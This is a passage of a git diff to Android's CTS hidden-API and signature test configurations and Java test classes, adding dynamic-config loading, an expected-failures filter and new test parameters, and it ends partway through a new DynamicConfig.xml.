+++ b/tests/signature/api-check/hidden-api-blocklist-27-api/AndroidTest.xml
@@ -16,9 +16,15 @@
 <configuration description="Config for CTS Hidden API Signature test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="systems" />
-    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
+        <option name="target" value="device" />
+        <option name="config-filename" value="CtsHiddenApiBlocklistApiDynamicConfig" />
+        <option name="version" value="1.0" />
+    </target_preparer>
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsHiddenApiBlocklistApi27TestCases.apk" />
@@ -27,10 +33,13 @@
         <option name="package" value="android.signature.cts.api.hiddenapi_blocklist_api_27" />
         <option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
         <option name="class" value="android.signature.cts.api.api27.HiddenApiTest" />
+        <option name="instrumentation-arg" key="dynamic-config-name" value="CtsHiddenApiBlocklistApiDynamicConfig" />
         <option name="instrumentation-arg" key="hiddenapi-files" value="hiddenapi-flags.csv" />
         <option name="instrumentation-arg" key="hiddenapi-test-flags" value="blocked" />
         <option name="instrumentation-arg" key="hiddenapi-filter-file" value="hiddenapi-filter.csv" />
         <option name="test-api-access" value="false" />
         <option name="runtime-hint" value="30s" />
+        <!-- disable isolated storage so tests can access dynamic config stored in /sdcard. -->
+        <option name="isolated-storage" value="false" />
     </test>
 </configuration>
diff --git a/tests/signature/api-check/hidden-api-blocklist-27-api/src/android/signature/cts/api/api27/HiddenApiTest.java b/tests/signature/api-check/hidden-api-blocklist-27-api/src/android/signature/cts/api/api27/HiddenApiTest.java
index c940aac..13ea0f1 100644
--- a/tests/signature/api-check/hidden-api-blocklist-27-api/src/android/signature/cts/api/api27/HiddenApiTest.java
+++ b/tests/signature/api-check/hidden-api-blocklist-27-api/src/android/signature/cts/api/api27/HiddenApiTest.java
@@ -16,5 +16,7 @@
 
 package android.signature.cts.api.api27;
 
-public class HiddenApiTest extends android.signature.cts.api.HiddenApiTest {
+import android.signature.cts.api.dynamic.DynamicConfigHiddenApiTest;
+
+public class HiddenApiTest extends DynamicConfigHiddenApiTest {
 }
diff --git a/tests/signature/api-check/hidden-api-blocklist-28-api/Android.bp b/tests/signature/api-check/hidden-api-blocklist-28-api/Android.bp
index 7c9f844..28fb4fa 100644
--- a/tests/signature/api-check/hidden-api-blocklist-28-api/Android.bp
+++ b/tests/signature/api-check/hidden-api-blocklist-28-api/Android.bp
@@ -28,4 +28,12 @@
         "cts",
         "general-tests",
     ],
+    // Ideally the following should be uncommented but unfortunately due to
+    // limitations in the build that causes build failures due to duplicate copy
+    // rules being generated. In the meantime it is necessary to build
+    // CtsHiddenApiBlocklistCurrentApiTestCases before running this test to
+    // pick up any changes to CtsHiddenApiBlocklistApiDynamicConfig.dynamic.
+    // data: [
+    //     ":CtsHiddenApiBlocklistApiDynamicConfig",
+    // ],
 }
diff --git a/tests/signature/api-check/hidden-api-blocklist-28-api/AndroidTest.xml b/tests/signature/api-check/hidden-api-blocklist-28-api/AndroidTest.xml
index 30d29f0..1ae066c 100644
--- a/tests/signature/api-check/hidden-api-blocklist-28-api/AndroidTest.xml
+++ b/tests/signature/api-check/hidden-api-blocklist-28-api/AndroidTest.xml
@@ -16,9 +16,15 @@
 <configuration description="Config for CTS Hidden API Signature test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="systems" />
-    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
+        <option name="target" value="device" />
+        <option name="config-filename" value="CtsHiddenApiBlocklistApiDynamicConfig" />
+        <option name="version" value="1.0" />
+    </target_preparer>
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsHiddenApiBlocklistApi28TestCases.apk" />
@@ -27,10 +33,13 @@
         <option name="package" value="android.signature.cts.api.hiddenapi_blocklist_api_28" />
         <option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
         <option name="class" value="android.signature.cts.api.api28.HiddenApiTest" />
+        <option name="instrumentation-arg" key="dynamic-config-name" value="CtsHiddenApiBlocklistApiDynamicConfig" />
         <option name="instrumentation-arg" key="hiddenapi-files" value="hiddenapi-flags.csv" />
         <option name="instrumentation-arg" key="hiddenapi-test-flags" value="blocked,max-target-o" />
         <option name="instrumentation-arg" key="hiddenapi-filter-file" value="hiddenapi-filter.csv" />
         <option name="test-api-access" value="false" />
         <option name="runtime-hint" value="30s" />
+        <!-- disable isolated storage so tests can access dynamic config stored in /sdcard. -->
+        <option name="isolated-storage" value="false" />
     </test>
 </configuration>
diff --git a/tests/signature/api-check/hidden-api-blocklist-28-api/src/android/signature/cts/api/api28/HiddenApiTest.java b/tests/signature/api-check/hidden-api-blocklist-28-api/src/android/signature/cts/api/api28/HiddenApiTest.java
index f85dda3..091a25f 100644
--- a/tests/signature/api-check/hidden-api-blocklist-28-api/src/android/signature/cts/api/api28/HiddenApiTest.java
+++ b/tests/signature/api-check/hidden-api-blocklist-28-api/src/android/signature/cts/api/api28/HiddenApiTest.java
@@ -16,5 +16,7 @@
 
 package android.signature.cts.api.api28;
 
-public class HiddenApiTest extends android.signature.cts.api.HiddenApiTest {
+import android.signature.cts.api.dynamic.DynamicConfigHiddenApiTest;
+
+public class HiddenApiTest extends DynamicConfigHiddenApiTest {
 }
diff --git a/tests/signature/api-check/hidden-api-blocklist-current-api/Android.bp b/tests/signature/api-check/hidden-api-blocklist-current-api/Android.bp
index 67e5742..6c3401b 100644
--- a/tests/signature/api-check/hidden-api-blocklist-current-api/Android.bp
+++ b/tests/signature/api-check/hidden-api-blocklist-current-api/Android.bp
@@ -27,4 +27,7 @@
         "cts",
         "general-tests",
     ],
+    data: [
+        ":CtsHiddenApiBlocklistApiDynamicConfig",
+    ],
 }
diff --git a/tests/signature/api-check/hidden-api-blocklist-current-api/AndroidTest.xml b/tests/signature/api-check/hidden-api-blocklist-current-api/AndroidTest.xml
index 7063418..0baa791 100644
--- a/tests/signature/api-check/hidden-api-blocklist-current-api/AndroidTest.xml
+++ b/tests/signature/api-check/hidden-api-blocklist-current-api/AndroidTest.xml
@@ -16,9 +16,15 @@
 <configuration description="Config for CTS Hidden API Signature test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="systems" />
-    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
+        <option name="target" value="device" />
+        <option name="config-filename" value="CtsHiddenApiBlocklistApiDynamicConfig" />
+        <option name="version" value="1.0" />
+    </target_preparer>
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsHiddenApiBlocklistCurrentApiTestCases.apk" />
@@ -27,10 +33,13 @@
         <option name="package" value="android.signature.cts.api.hiddenapi_blocklist_current" />
         <option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
         <option name="class" value="android.signature.cts.api.current.HiddenApiTest" />
+        <option name="instrumentation-arg" key="dynamic-config-name" value="CtsHiddenApiBlocklistApiDynamicConfig" />
         <option name="instrumentation-arg" key="hiddenapi-files" value="hiddenapi-flags.csv" />
         <option name="instrumentation-arg" key="hiddenapi-test-flags" value="blocked,max-target-o,max-target-p" />
         <option name="instrumentation-arg" key="hiddenapi-filter-file" value="hiddenapi-filter.csv" />
         <option name="test-api-access" value="false" />
         <option name="runtime-hint" value="30s" />
+        <!-- disable isolated storage so tests can access dynamic config stored in /sdcard. -->
+        <option name="isolated-storage" value="false" />
     </test>
 </configuration>
diff --git a/tests/signature/api-check/hidden-api-blocklist-current-api/src/android/signature/cts/api/current/HiddenApiTest.java b/tests/signature/api-check/hidden-api-blocklist-current-api/src/android/signature/cts/api/current/HiddenApiTest.java
index 34f33fe..7726489 100644
--- a/tests/signature/api-check/hidden-api-blocklist-current-api/src/android/signature/cts/api/current/HiddenApiTest.java
+++ b/tests/signature/api-check/hidden-api-blocklist-current-api/src/android/signature/cts/api/current/HiddenApiTest.java
@@ -16,5 +16,7 @@
 
 package android.signature.cts.api.current;
 
-public class HiddenApiTest extends android.signature.cts.api.HiddenApiTest {
+import android.signature.cts.api.dynamic.DynamicConfigHiddenApiTest;
+
+public class HiddenApiTest extends DynamicConfigHiddenApiTest {
 }
diff --git a/tests/signature/api-check/hidden-api-blocklist-debug-class/AndroidTest.xml b/tests/signature/api-check/hidden-api-blocklist-debug-class/AndroidTest.xml
index 2ab58bd..cd0311c 100644
--- a/tests/signature/api-check/hidden-api-blocklist-debug-class/AndroidTest.xml
+++ b/tests/signature/api-check/hidden-api-blocklist-debug-class/AndroidTest.xml
@@ -16,9 +16,15 @@
 <configuration description="Config for CTS Hidden API Signature test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="systems" />
-    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
+        <option name="target" value="device" />
+        <option name="config-filename" value="CtsHiddenApiBlocklistApiDynamicConfig" />
+        <option name="version" value="1.0" />
+    </target_preparer>
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsHiddenApiBlocklistDebugClassTestCases.apk" />
@@ -26,11 +32,14 @@
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.signature.cts.api.hiddenapi_blocklist_debug_class" />
         <option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
-        <option name="class" value="android.signature.cts.api.DebugClassHiddenApiTest" />
+        <option name="class" value="android.signature.cts.api.blocklist.debug.DebugClassHiddenApiTest" />
+        <option name="instrumentation-arg" key="dynamic-config-name" value="CtsHiddenApiBlocklistApiDynamicConfig" />
         <option name="instrumentation-arg" key="hiddenapi-files" value="hiddenapi-flags.csv" />
         <option name="instrumentation-arg" key="hiddenapi-test-flags" value="blocked,max-target-o,max-target-p" />
         <option name="instrumentation-arg" key="hiddenapi-filter-file" value="hiddenapi-filter.csv" />
         <option name="test-api-access" value="false" />
         <option name="runtime-hint" value="30s" />
+        <!-- disable isolated storage so tests can access dynamic config stored in /sdcard. -->
+        <option name="isolated-storage" value="false" />
     </test>
 </configuration>
diff --git a/tests/signature/api-check/src/java/android/signature/cts/api/DebugClassHiddenApiTest.java b/tests/signature/api-check/hidden-api-blocklist-debug-class/src/android/signature/cts/api/blocklist/debug/DebugClassHiddenApiTest.java
similarity index 83%
rename from tests/signature/api-check/src/java/android/signature/cts/api/DebugClassHiddenApiTest.java
rename to tests/signature/api-check/hidden-api-blocklist-debug-class/src/android/signature/cts/api/blocklist/debug/DebugClassHiddenApiTest.java
index 8168f08..9266976 100644
--- a/tests/signature/api-check/src/java/android/signature/cts/api/DebugClassHiddenApiTest.java
+++ b/tests/signature/api-check/hidden-api-blocklist-debug-class/src/android/signature/cts/api/blocklist/debug/DebugClassHiddenApiTest.java
@@ -14,11 +14,12 @@
  * limitations under the License.
  */
 
-package android.signature.cts.api;
+package android.signature.cts.api.blocklist.debug;
 
 import android.signature.cts.DexMemberChecker;
+import android.signature.cts.api.dynamic.DynamicConfigHiddenApiTest;
 
-public class DebugClassHiddenApiTest extends HiddenApiTest {
+public class DebugClassHiddenApiTest extends DynamicConfigHiddenApiTest {
     @Override
     protected void setUp() throws Exception {
         super.setUp();
diff --git a/tests/signature/api-check/hidden-api-blocklist-test-api/Android.bp b/tests/signature/api-check/hidden-api-blocklist-test-api/Android.bp
index 4ee2db5..82c2e90 100644
--- a/tests/signature/api-check/hidden-api-blocklist-test-api/Android.bp
+++ b/tests/signature/api-check/hidden-api-blocklist-test-api/Android.bp
@@ -26,4 +26,12 @@
         "cts",
         "general-tests",
     ],
+    // Ideally the following should be uncommented but unfortunately due to
+    // limitations in the build that causes build failures due to duplicate copy
+    // rules being generated. In the meantime it is necessary to build
+    // CtsHiddenApiBlocklistCurrentApiTestCases before running this test to
+    // pick up any changes to CtsHiddenApiBlocklistApiDynamicConfig.dynamic.
+    // data: [
+    //     ":CtsHiddenApiBlocklistApiDynamicConfig",
+    // ],
 }
diff --git a/tests/signature/api-check/hidden-api-blocklist-test-api/AndroidTest.xml b/tests/signature/api-check/hidden-api-blocklist-test-api/AndroidTest.xml
index b08abec..912334f 100644
--- a/tests/signature/api-check/hidden-api-blocklist-test-api/AndroidTest.xml
+++ b/tests/signature/api-check/hidden-api-blocklist-test-api/AndroidTest.xml
@@ -17,9 +17,15 @@
 <configuration description="Config for CTS Hidden API Signature test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="systems" />
-    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
+        <option name="target" value="device" />
+        <option name="config-filename" value="CtsHiddenApiBlocklistApiDynamicConfig" />
+        <option name="version" value="1.0" />
+    </target_preparer>
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsHiddenApiBlocklistTestApiTestCases.apk" />
@@ -28,8 +34,11 @@
         <option name="package" value="android.signature.cts.api.hiddenapi_blocklist_test" />
         <option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
         <option name="class" value="android.signature.cts.api.test.HiddenApiTest" />
+        <option name="instrumentation-arg" key="dynamic-config-name" value="CtsHiddenApiBlocklistApiDynamicConfig" />
         <option name="instrumentation-arg" key="hiddenapi-files" value="hiddenapi-flags.csv" />
         <option name="test-api-access" value="false" />
         <option name="runtime-hint" value="30s" />
+        <!-- disable isolated storage so tests can access dynamic config stored in /sdcard. -->
+        <option name="isolated-storage" value="false" />
     </test>
 </configuration>
diff --git a/tests/signature/api-check/hidden-api-blocklist-test-api/src/android/signature/cts/api/test/HiddenApiTest.java b/tests/signature/api-check/hidden-api-blocklist-test-api/src/android/signature/cts/api/test/HiddenApiTest.java
index ffe85fc..3fe708c 100644
--- a/tests/signature/api-check/hidden-api-blocklist-test-api/src/android/signature/cts/api/test/HiddenApiTest.java
+++ b/tests/signature/api-check/hidden-api-blocklist-test-api/src/android/signature/cts/api/test/HiddenApiTest.java
@@ -17,9 +17,10 @@
 package android.signature.cts.api.test;
 
 import android.signature.cts.DexMember;
+import android.signature.cts.api.dynamic.DynamicConfigHiddenApiTest;
 import java.util.Set;
 
-public class HiddenApiTest extends android.signature.cts.api.HiddenApiTest {
+public class HiddenApiTest extends DynamicConfigHiddenApiTest {
 
     /**
      * Override to match only those members that specify both test-api and blocked.
diff --git a/tests/signature/api-check/hidden-api-killswitch-debug-class/AndroidTest.xml b/tests/signature/api-check/hidden-api-killswitch-debug-class/AndroidTest.xml
index c0fadbd..2ff7706 100644
--- a/tests/signature/api-check/hidden-api-killswitch-debug-class/AndroidTest.xml
+++ b/tests/signature/api-check/hidden-api-killswitch-debug-class/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsHiddenApiKillswitchDebugClassTestCases.apk" />
diff --git a/tests/signature/api-check/hidden-api-killswitch-sdklist/Android.bp b/tests/signature/api-check/hidden-api-killswitch-sdklist/Android.bp
index 5384558..84a1370 100644
--- a/tests/signature/api-check/hidden-api-killswitch-sdklist/Android.bp
+++ b/tests/signature/api-check/hidden-api-killswitch-sdklist/Android.bp
@@ -25,4 +25,12 @@
         "cts",
         "general-tests",
     ],
+    // Ideally the following should be uncommented but unfortunately due to
+    // limitations in the build that causes build failures due to duplicate copy
+    // rules being generated. In the meantime it is necessary to build
+    // CtsHiddenApiBlocklistCurrentApiTestCases before running this test to
+    // pick up any changes to CtsHiddenApiBlocklistApiDynamicConfig.dynamic.
+    // data: [
+    //     ":CtsHiddenApiBlocklistApiDynamicConfig",
+    // ],
 }
diff --git a/tests/signature/api-check/hidden-api-killswitch-sdklist/AndroidTest.xml b/tests/signature/api-check/hidden-api-killswitch-sdklist/AndroidTest.xml
index a9b1035..721d099 100644
--- a/tests/signature/api-check/hidden-api-killswitch-sdklist/AndroidTest.xml
+++ b/tests/signature/api-check/hidden-api-killswitch-sdklist/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
         <!-- Mark all APIs as sdk before running the test, then reset this afterwards. The test
              is intended to verify the behaviour when all APIs are in the SDK. -->
diff --git a/tests/signature/api-check/hidden-api-killswitch-wildcard/AndroidTest.xml b/tests/signature/api-check/hidden-api-killswitch-wildcard/AndroidTest.xml
index 27b874c..4d25fb3 100644
--- a/tests/signature/api-check/hidden-api-killswitch-wildcard/AndroidTest.xml
+++ b/tests/signature/api-check/hidden-api-killswitch-wildcard/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
         <!-- Enable the killswitch before running the test, then disable it afterwards. The test
              is intended to verify the behaviour when the killswitch is enabled. -->
diff --git a/tests/signature/api-check/shared-libs-api/AndroidTest.xml b/tests/signature/api-check/shared-libs-api/AndroidTest.xml
index d13aa54..5eb4883 100644
--- a/tests/signature/api-check/shared-libs-api/AndroidTest.xml
+++ b/tests/signature/api-check/shared-libs-api/AndroidTest.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="component" value="systems" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/signature/api-check/src/java/android/signature/cts/api/AbstractApiTest.java b/tests/signature/api-check/src/java/android/signature/cts/api/AbstractApiTest.java
index 0eeef1a..8ff6d98 100644
--- a/tests/signature/api-check/src/java/android/signature/cts/api/AbstractApiTest.java
+++ b/tests/signature/api-check/src/java/android/signature/cts/api/AbstractApiTest.java
@@ -20,8 +20,10 @@
 import android.signature.cts.ApiDocumentParser;
 import android.signature.cts.ClassProvider;
 import android.signature.cts.ExcludingClassProvider;
+import android.signature.cts.ExpectedFailuresFilter;
 import android.signature.cts.FailureType;
 import android.signature.cts.JDiffClassDescription;
+import android.signature.cts.ResultObserver;
 import android.signature.cts.VirtualPath;
 import android.signature.cts.VirtualPath.LocalFilePath;
 import android.signature.cts.VirtualPath.ResourcePath;
@@ -33,6 +35,11 @@
 import java.io.StringWriter;
 import java.nio.file.Files;
 import java.nio.file.Path;
+import java.nio.file.StandardOpenOption;
+import java.util.Collection;
+import java.util.Collections;
+import java.util.EnumSet;
+import java.util.List;
 import java.util.stream.Stream;
 import java.util.zip.ZipFile;
 import repackaged.android.test.InstrumentationTestCase;
@@ -48,6 +55,11 @@
 
     ClassProvider mClassProvider;
 
+    /**
+     * The list of expected failures.
+     */
+    private Collection<String> expectedFailures = Collections.emptyList();
+
     protected String getGlobalExemptions() {
         return Settings.Global.getString(
                 getInstrumentation().getContext().getContentResolver(),
@@ -93,6 +105,22 @@
         initializeFromArgs(instrumentationArgs);
     }
 
+    /**
+     * Initialize the expected failures.
+     *
+     * <p>Call from with {@code #initializeFromArgs}</p>
+     *
+     * @param expectedFailures the expected failures.
+     */
+    protected void initExpectedFailures(Collection<String> expectedFailures) {
+        this.expectedFailures = expectedFailures;
+        String tag = getClass().getName();
+        Log.d(tag, "Expected failure count: " + expectedFailures.size());
+        for (String failure: expectedFailures) {
+            Log.d(tag, "Expected failure: \"" + failure + "\"");
+        }
+    }
+
     protected String getExpectedBlocklistExemptions() {
         return null;
     }
@@ -101,13 +129,22 @@
 
     }
 
-    protected interface RunnableWithTestResultObserver {
-        void run(TestResultObserver observer) throws Exception;
+    protected interface RunnableWithResultObserver {
+        void run(ResultObserver observer) throws Exception;
     }
 
-    void runWithTestResultObserver(RunnableWithTestResultObserver runnable) {
+    void runWithTestResultObserver(RunnableWithResultObserver runnable) {
+        runWithTestResultObserver(expectedFailures, runnable);
+    }
+
+    private void runWithTestResultObserver(
+            Collection<String> expectedFailures, RunnableWithResultObserver runnable) {
         try {
-            runnable.run(mResultObserver);
+            ResultObserver observer = mResultObserver;
+            if (!expectedFailures.isEmpty()) {
+                observer = new ExpectedFailuresFilter(observer, expectedFailures);
+            }
+            runnable.run(observer);
         } catch (Exception e) {
             StringWriter writer = new StringWriter();
             writer.write(e.toString());
diff --git a/tests/signature/api-check/src/java/android/signature/cts/api/BootClassPathClassesProvider.java b/tests/signature/api-check/src/java/android/signature/cts/api/BootClassPathClassesProvider.java
index d1f019b..d037c6c 100644
--- a/tests/signature/api-check/src/java/android/signature/cts/api/BootClassPathClassesProvider.java
+++ b/tests/signature/api-check/src/java/android/signature/cts/api/BootClassPathClassesProvider.java
@@ -17,6 +17,7 @@
 package android.signature.cts.api;
 
 import android.os.Debug;
+import android.util.Log;
 import android.signature.cts.ClassProvider;
 import android.signature.cts.DexField;
 import android.signature.cts.DexMethod;
@@ -29,16 +30,20 @@
 import java.io.InputStream;
 import java.io.OutputStream;
 import java.util.Arrays;
+import java.util.Objects;
 import java.util.stream.Stream;
 
 @SuppressWarnings("deprecation")
 public class BootClassPathClassesProvider extends ClassProvider {
+    private static final String TAG = "BootClassPathClassesProvider";
+
     private static boolean sJvmtiAttached = false;
 
     @Override
     public Stream<Class<?>> getAllClasses() {
         maybeAttachJvmtiAgent();
-        return Arrays.stream(getClassloaderDescriptors(Object.class.getClassLoader()))
+        return (Stream<Class<?>>)
+            Arrays.stream(getClassloaderDescriptors(Object.class.getClassLoader()))
                 .map(descriptor -> {
                     String classname = descriptor.replace('/', '.');
                     // omit L and ; at the front and at the end
@@ -48,9 +53,15 @@
                     try {
                         return getClass(classname);
                     } catch (ClassNotFoundException e) {
-                        throw new RuntimeException("Cannot load " + classname, e);
+                        // It could be that a class failed to verify.
+                        // No process will be able to load it, so it's ok to silently ignore.
+                        return null;
+                    } catch (NoClassDefFoundError e) {
+                        Log.w(TAG, "Could not load class " + classname, e);
+                        return null;
                     }
-                });
+                })
+                .filter(Objects::nonNull);
     }
 
     @Override
diff --git a/tests/signature/api-check/src/java/android/signature/cts/api/HiddenApiTest.java b/tests/signature/api-check/src/java/android/signature/cts/api/HiddenApiTest.java
index 3b6fec9..97ae404 100644
--- a/tests/signature/api-check/src/java/android/signature/cts/api/HiddenApiTest.java
+++ b/tests/signature/api-check/src/java/android/signature/cts/api/HiddenApiTest.java
@@ -43,7 +43,7 @@
     private Set<String> hiddenapiFilterSet;
 
     @Override
-    protected void initializeFromArgs(Bundle instrumentationArgs) {
+    protected void initializeFromArgs(Bundle instrumentationArgs) throws Exception {
         hiddenapiFiles = getCommaSeparatedListRequired(instrumentationArgs, "hiddenapi-files");
         hiddenapiTestFlags = getCommaSeparatedListOptional(instrumentationArgs, "hiddenapi-test-flags");
         hiddenapiFilterFile = instrumentationArgs.getString("hiddenapi-filter-file");
diff --git a/tests/signature/api-check/src/java/android/signature/cts/api/SignatureTest.java b/tests/signature/api-check/src/java/android/signature/cts/api/SignatureTest.java
index 316a603..4a0e2c2 100644
--- a/tests/signature/api-check/src/java/android/signature/cts/api/SignatureTest.java
+++ b/tests/signature/api-check/src/java/android/signature/cts/api/SignatureTest.java
@@ -42,7 +42,7 @@
     private String[] unexpectedApiFiles;
 
     @Override
-    protected void initializeFromArgs(Bundle instrumentationArgs) {
+    protected void initializeFromArgs(Bundle instrumentationArgs) throws Exception {
         expectedApiFiles = getCommaSeparatedListOptional(instrumentationArgs, "expected-api-files");
         baseApiFiles = getCommaSeparatedListOptional(instrumentationArgs, "base-api-files");
         unexpectedApiFiles = getCommaSeparatedListOptional(instrumentationArgs, "unexpected-api-files");
diff --git a/tests/signature/api-check/system-annotation/AndroidTest.xml b/tests/signature/api-check/system-annotation/AndroidTest.xml
index 669e033..c08e9d5 100644
--- a/tests/signature/api-check/system-annotation/AndroidTest.xml
+++ b/tests/signature/api-check/system-annotation/AndroidTest.xml
@@ -16,9 +16,15 @@
 <configuration description="Config for CTS System Current API Signature test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="systems" />
-    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
+        <option name="target" value="device" />
+        <option name="config-filename" value="CtsSystemApiAnnotationTestCases" />
+        <option name="version" value="1.0" />
+    </target_preparer>
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsSystemApiAnnotationTestCases.apk" />
@@ -32,6 +38,8 @@
         <option name="runtime-hint" value="30s" />
         <!-- Disable hidden API checks (http://b/171459260). -->
         <option name="hidden-api-checks" value="false" />
+        <!-- disable isolated storage so tests can access dynamic config stored in /sdcard. -->
+        <option name="isolated-storage" value="false" />
     </test>
 
     <!-- Controller that will skip the module if a native bridge situation is detected -->
diff --git a/tests/signature/api-check/system-annotation/DynamicConfig.xml b/tests/signature/api-check/system-annotation/DynamicConfig.xml
new file mode 100644
index 0000000..c4f51a3
--- /dev/null
+++ b/tests/signature/api-check/system-annotation/DynamicConfig.xml
@@ -0,0 +1,152 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 Google Inc.
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<dynamicConfig>
+    <entry key ="expected_failures">
+      <!--
+       ! Each value in this section identifies an expected failure and is of the
+       ! form:
+       !    <failure-type>:<signature of class/member>
+       !
+       ! These entries are loaded by AnnotationTest which uses them to construct
+       ! an ExpectedFailuresFilter which discards them.
+       !
+       ! e.g. If the test fails with the following error message:
+       ! repackaged.junit.framework.AssertionFailedError:
+       ! extra_class:	android.media.MediaParceledListSlice	Error: Class annotated with android.annotation.SystemApi does not exist in the documented API
+       ! extra_class:	android.media.MediaFrameworkInitializer	Error: Class annotated with android.annotation.SystemApi does not exist in the documented API
+       ! extra_interface:	android.media.MediaCommunicationManager$SessionCallback	Error: Class annotated with android.annotation.SystemApi does not exist in the documented API
+       ! extra_class:	android.media.MediaTranscodingManager	Error: Class annotated with android.annotation.SystemApi does not exist in the documented API
+       ! ClassLoader hierarchy
+       !
+       ! The first step is to check that the extra classes are expected (e.g.
+       ! because they have been annotated with the @SystemApi since this version
+       ! of the CTS tests were released and the tests are being run on an
+       ! Android system with a version of the mainline modules that includes
